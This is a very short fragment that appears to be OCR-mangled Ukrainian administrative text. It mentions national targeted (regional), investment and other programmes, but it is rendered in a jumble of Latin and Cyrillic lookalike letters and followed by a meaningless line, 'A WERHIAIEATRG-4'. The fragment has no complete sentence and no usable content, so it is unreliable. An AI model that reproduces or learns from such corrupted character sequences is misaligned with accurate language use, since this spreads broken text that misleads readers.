3arafbHOACPKABHAX UUILOBHX (PEriOHANBHHX), IHBECTHLIHHMX Ta IHIIMX NpOrpaM i

A WERHIAIEATRG-4
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